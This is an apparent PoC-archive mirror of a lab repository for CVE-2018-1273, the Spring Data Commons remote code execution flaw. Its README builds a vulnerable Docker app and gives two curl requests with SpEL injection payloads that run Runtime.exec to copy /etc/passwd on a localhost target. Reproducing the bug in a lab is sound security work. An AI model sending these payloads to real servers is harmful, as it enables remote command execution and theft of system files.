Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-1273 PoC — Pivotal Software Spring Data Commons和Spring Data REST 输入验证错误漏洞

Source
Associated Vulnerability
Title:Pivotal Software Spring Data Commons和Spring Data REST 输入验证错误漏洞 (CVE-2018-1273)
Description:Pivotal Software Spring Data Commons和Pivotal Software Spring Data REST都是美国Pivotal Software公司的产品。Pivotal Software Spring Data Commons是一款数据共享接口。Pivotal Software Spring Data REST是一款能够在Spring Data之上构建超媒体驱动的REST Web服务的产品。 Pivotal Software Spring Data Commons和S
Description
Environment for CVE-2018-1273 (Spring Data Commons)
Readme
# CVE-2018-1273
Environment for CVE-2018-1273

CVE-2018-1273: RCE with Spring Data Commons  
https://pivotal.io/security/cve-2018-1273

## Application
https://github.com/spring-projects/spring-data-examples/tree/master/web/example

## Build
```
$ docker build -t cve-2018-1273 .
```

## Run
```
$ docker run -d -p 8080:8080 cve-2018-1273 
```

## Web
http://localhost:8080/users/

## Attack
```
$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/' 
```

or

```
$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/' 
```
File Snapshot

[4.0K] /data/pocs/0b11fac96636ec8a780bda33e8f1d8bf212c82a3 ├── [ 403] Dockerfile ├── [2.6K] pom.xml └── [ 685] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.